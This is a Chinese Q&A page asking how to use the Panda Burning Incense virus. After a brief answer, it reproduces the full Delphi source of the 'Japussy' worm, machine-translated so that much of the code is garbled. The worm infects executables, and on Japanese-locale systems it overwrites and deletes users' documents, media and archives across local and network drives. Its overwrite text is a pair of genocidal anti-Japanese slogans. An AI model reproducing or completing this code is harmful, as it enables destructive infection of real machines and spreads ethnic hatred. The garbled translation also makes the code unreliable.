當前位置:股票大全官網 - 財經新聞 - 熊貓燒香病毒怎麽用?

熊貓燒香病毒怎麽用?

小心埋沒自己。

沒有編程和安全基礎。

即使我給妳工具,我也不會用。

偷號不好

如果妳感興趣,就好好學習。

最近化身為“金豬報喜”的“熊貓燒香”是壹種傳染性蠕蟲病毒,可感染exe、com、pif、src、html、asp等文件。在系統中,它還可以停止大量防病毒軟件進程並刪除擴展名為gho的文件,這是壹個系統備份工具GHOST的備份文件,使用戶的系統備份文件丟失。全部。受感染用戶系統中的exe可執行文件已被更改為看起來像可愛的金豬。

程序Japussy

使用

Windows,SysUtils,類,圖形,ShellAPI{,Registry}。

常數

HeaderSize = 82432//病毒體的大小

IconOffset = EB8//PE文件主圖標的偏移量

//在我的Delphi5 SP1上編譯的大小在其他版本的Delphi中可能有所不同。

//查找十六進制字符串2800000020,以查找主圖標的偏移量。

{

header size = 38912;//Upx壓縮的病毒體的大小

IconOffset = BC//Upx壓縮的PE文件主圖標的偏移量。

//Upx 1.24W用法:Upx-9-8086 Japussy.exe。

}

IconSize = E8//PE文件的主圖標大小為744字節。

icon tail = icon offset+IconSize;//PE文件主圖標的尾部

ID = 444444//感染標記

//編寫無用的代碼。

“如果壹個種族需要被消滅,那壹定是大和民族。”+

“如果壹個國家需要被摧毀,那壹定是日本!”+

*** W32。japussy . worm . a * * *‘;

{$R *。RES}

函數RegisterServiceProcess(dw processid,dw type:Integer):Integer;

stDCall外部“kernel 32 . dll”;//函數聲明

定義變量

TmpFile:string;

si:startup info;

Pi:進程信息;

is jap:Boolean = False;//日語版的操作系統標記

{正在判斷是否是windows 9。x版本}

函數is win9x:Boolean;

定義變量

ver:tosversion info;

開始

結果:= False

ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);

如果不是GetVersionEx(Ver),則

退出;

if(ver . dwplatformid = VER平臺WIN32窗口)then //Win9x

結果:= True

結束;

{在數據流之間復制}

過程復制流(Src:t stream;sStartPos:整數;dst:t stream;

dStartPos:整數;計數:整數);

定義變量

sCurPos,dCurPos:整數;

開始

sCurPos := Src。位置;

dCurPos := Dst。位置;

Src。seek(sStartPos,0);

夏令時。seek(dStartPos,0);

夏令時。copy from(Src,Count);

Src。seek(scur pos,0);

夏令時。seek(dCurPos,0);

結束;

{將主機文件與受感染的PE文件分開使用}

過程提取文件(文件名:字符串);

定義變量

sStream,dStream:TFileStream;

開始

嘗試

sStream := TFileStream。create(ParamStr(0)、fmOpenRead或fmShareDenyNone);

嘗試

dStream := TFileStream。Create(文件名,FM create);

嘗試

流。seek(header size,0);//跳過標頭的病毒部分

數據流。copy from(sStream,sStream。size-header size);

最後

數據流。免費;

結束;

最後

流。免費;

結束;

除...之外

結束;

結束;

{填充STARTUPINFO結構}

過程FillStartupInfo(var Si:startup info;州:字);

開始

Si . CB:= SizeOf(Si);

si . LP reserved:= nil;

si . LP desktop:= nil;

si . LP title:= nil;

si . dw flags:= STARTF _ USESHOWWINDOW;

si . wshowindow:= State;

si . CB reserved 2:= 0;

si . lpreserved 2:= nil;

結束;

{發送有毒郵件}

過程SendMail

開始

//郵件終止

結束;

{受感染的PE文件}

過程感染文件(文件名:字符串);

定義變量

HdrStream,SrcStream:TFileStream;

IcoStream,dst stream:TMemoryStream;

iID:LongInt;

愛康:提康;

已感染,IsPE:Boolean;

I:整數;

buf:array【0..1】的字符;

開始

Try //錯誤,文件正在使用中,退出。

如果compare text(filename,‘japussy . exe‘)= 0,則//如果您是自己,則不會被感染。

退出;

已感染:= False

IsPE:= False;

SrcStream := TFileStream。Create(文件名,fmOpenRead);

嘗試

對於i := 0到8,請檢查PE文件頭。

開始

SrcStream。seek(I,sofrombinging);

SrcStream。read(Buf,2);

如果(buf【0】= # 80)和(buf【1】= # 69)則//PE標簽

開始

IsPE:= True;//是PE文件。

打破;

結束;

結束;

SrcStream。seek(-4,soFromEnd);//檢查感染標記

SrcStream。閱讀(iID,4);

if(iID = ID)或(SrcStream。大小& lt10240)則//小於10240的文件不會被感染。

已感染:= True

最後

SrcStream。免費;

結束;

如果被感染或(非IsPE),則//退出PE文件。

退出;

IcoStream := TMemoryStream。創建;

DstStream := TMemoryStream。創建;

嘗試

aIcon := TIcon。創建;

嘗試

//獲取受感染文件的主圖標(744字節)並將其存儲在流中。

艾康。ReleaseHandle

艾康。handle:= extract icon(h instance,PChar(FileName),0);

艾康。SaveToStream(IcoStream);

最後

艾康。免費;

結束;

SrcStream := TFileStream。Create(文件名,fmOpenRead);

//頭文件

HdrStream := TFileStream。create(ParamStr(0)、fmOpenRead或fmShareDenyNone);

嘗試

//將數據寫在病毒體主圖標之前。

copy stream(HDR stream,0,DstStream,0,icon offset);

//寫入當前程序的主圖標。

copy stream(IcoStream,22,DstStream,IconOffset,IconSize);

//將病毒體主圖標的數據寫入病毒體尾部。

copy stream(HDR stream、IconTail、DstStream、IconTail、header size-icon tail);

//寫入宿主程序

copy stream(SrcStream,0,DstStream,HeaderSize,SrcStream。尺寸);

//寫入受感染標誌

DstStream。seek(0,2);

iID:= 444444;

DstStream。write(iID,4);

最後

HdrStream。免費;

結束;

最後

SrcStream。免費;

IcoStream。免費;

DstStream。SaveToFile(文件名);//替換宿主文件

DstStream。免費;

結束;

除外;

結束;

結束;

{將目標文件寫入無用代碼後將其刪除}

過程SmashFile(文件名:字符串);

定義變量

FileHandle:整數;

I,Size,Mass,Max,Len:整數;

開始

嘗試

setfile attributes(PChar(FileName),0);//移除只讀屬性

FileHandle := FileOpen(文件名,fmOpenWrite);//打開文件

嘗試

size:= get filesize(file handle,nil);//獲取文件大小

I:= 0;

隨機化;

max:= Random(15);//編寫無用代碼的隨機次數

如果Max & lt那就5個

max:= 5;

mass:= Size div Max;//每個間隔塊的大小

Len := Length(流行語);

當我& lt馬克斯·多

開始

FileSeek(file handle,i * Mass,0);//定位

//編寫無用的代碼來徹底銷毀文件!

file write(file handle,Catchword,Len);

Inc(壹);

結束;

最後

file close(file handle);//關閉文件

結束;

delete file(PChar(FileName));//刪除

除...之外

結束;

結束;

{獲取可寫驅動器列表}

函數get drives:string;

定義變量

磁盤類型:Word

d:Char;

Str:字符串;

I:整數;

開始

對於i := 0到25,do //遍歷26個字母。

開始

d:= Chr(I+65);

str:= D+‘:\‘;

disk type:= get drive type(PChar(Str));

//獲取本地磁盤和網絡磁盤。

如果(DiskType = DRIVE_FIXED)或(DiskType = DRIVE_REMOTE),則

結果:=結果+D;

結束;

結束;

{遍歷目錄、感染和破壞文件}

過程循環文件(路徑,掩碼:字符串);

定義變量

I,計數:整數;

Fn,Ext:string;

子指針:t字符串;

search rec:TSearchRec;

msg:TMsg;

function is validir(search rec:TSearchRec):Integer;

開始

if(search rec。Attr <& gt16)和(搜索記錄。名稱& lt& gt'.')和

(SearchRec。名稱& lt& gt'..')

結果:= 0 //不是目錄。

else if(search rec。Attr = 16)和(SearchRec。名稱& lt& gt'.')和

(SearchRec。名稱& lt& gt'..')

結果:= 1 //不是根目錄。

else結果:= 2;//是根目錄。

結束;

開始

if(FindFirst(Path+Mask,faAnyFile,search rec)= 0)然後

開始

重復

PeekMessage(Msg,0,0,0,PM _ REMOVE);//調整消息隊列以避免懷疑。

如果IsValidDir(search rec)= 0,則

開始

Fn := Path + SearchRec。姓名;

Ext :=大寫(ExtractFileExt(Fn));

if(Ext =‘。EXE“)或(Ext =“。SCR)那麽

開始

感染文件(Fn);//受感染的可執行文件

結束

else if(Ext =‘。HTM)或(Ext =)。HTML“)或(Ext =“)。ASP)那麽

開始

//感染HTML和ASP文件,將Base64編碼的病毒寫入。

//感染瀏覽此網頁的所有用戶。

//哪位大佬願意完成?

結束

else if Ext =‘。WAB當時的//Outlook通訊簿文件

開始

//獲取Outlook電子郵件地址

結束

else if Ext =‘。ADC然後//Foxmail地址自動完成文件。

開始

//獲取Foxmail電子郵件地址

結束

else if Ext =‘IND‘then//Foxmail地址簿文件

開始

//獲取Foxmail電子郵件地址

結束

其他

開始

如果是IsJap,那麽//是壹個日本操作系統。

開始

if(Ext =‘。DOC)或(Ext =‘。XLS)或(Ext =)。MDB’)或

(Ext =“。MP3“)或(Ext =“。RM‘)或(Ext =‘。RA’)或

(Ext =‘。WMA)或(Ext =)。ZIP)或(Ext =‘。RAR)或

(Ext =‘。MPEG)或(Ext =‘。ASF)或(Ext =‘。JPG)或

(Ext =‘。JPEG)或(Ext =‘。GIF)或(Ext =‘。主權財富基金)或

(Ext =‘。PDF)或(Ext =‘。CHM)或(Ext =‘。AVI)那麽

smash file(Fn);//銷毀文件

結束;

結束;

結束;

//在感染或刪除文件後休眠200毫秒,以避免高CPU使用率引起的懷疑。

睡眠(200);

直到(FindNext(search rec)& lt;& gt0);

結束;

FindClose(search rec);

SubDir := TStringList。創建;

if(FindFirst(Path+‘*。*,faDirectory,search rec = 0)那麽

開始

重復

如果IsValidDir(search rec)= 1,則

SubDir。添加(搜索記錄。姓名);

直到(FindNext(search rec)& lt;& gt0);

結束;

FindClose(search rec);

計數:=細分。count-1;

對於i := 0來計數do

循環文件(路徑+子目錄。strings+‘\‘,Mask);

FreeAndNil(SubDir);

結束;

{遍歷磁盤上的所有文件}

程序感染文件;

定義變量

driver list:string;

I,Len:整數;

開始

如果GetACP = 932,則//日本操作系統

is jap:= True;//去死吧!

driver list:= get drives;//獲取可寫磁盤列表

len:= Length(driver list);

While True do //無限循環

開始

For i := Len downto 1 do //遍歷每個磁盤驅動器。

循環文件(driver list+‘:\‘,‘*。*');//已感染

SendMail//發送有毒的電子郵件

睡眠(1000 * 60 * 5);//睡眠5分鐘

結束;

結束;

{主程序開始}

開始

如果是Win9x,那麽//就是Win9x。

RegisterServiceProcess(getCurrentProcessID,1)//註冊為服務進程。

else //WinNT

開始

//遠程線程映射到資源管理器進程。

//

結束;

//如果是原病毒體本身

如果compare text(extract filename(ParamStr(0),‘japussy . exe‘)= 0,則

感染文件//感染和電子郵件

Else //已經寄生了宿主程序並開始工作。

開始

TmpFile:= ParamStr(0);//創建臨時文件

delete(tmp file,Length(tmp file)-4,4);

TmpFile:= TmpFile+# 32+‘。‘exe‘;//真實的主機文件,多壹個空格。

extract file(TmpFile);//分開它

FillStartupInfo(Si,SW _ show default);

CreateProcess(PChar(TmpFile)、PChar(TmpFile)、nil、nil、True,

0,零,“。”,Si,Pi);//創建要運行的新進程。

感染文件;//感染和電子郵件

結束;

結束。

CMD命令shutdown -a //計算機中的病毒被取消後倒計時時關機。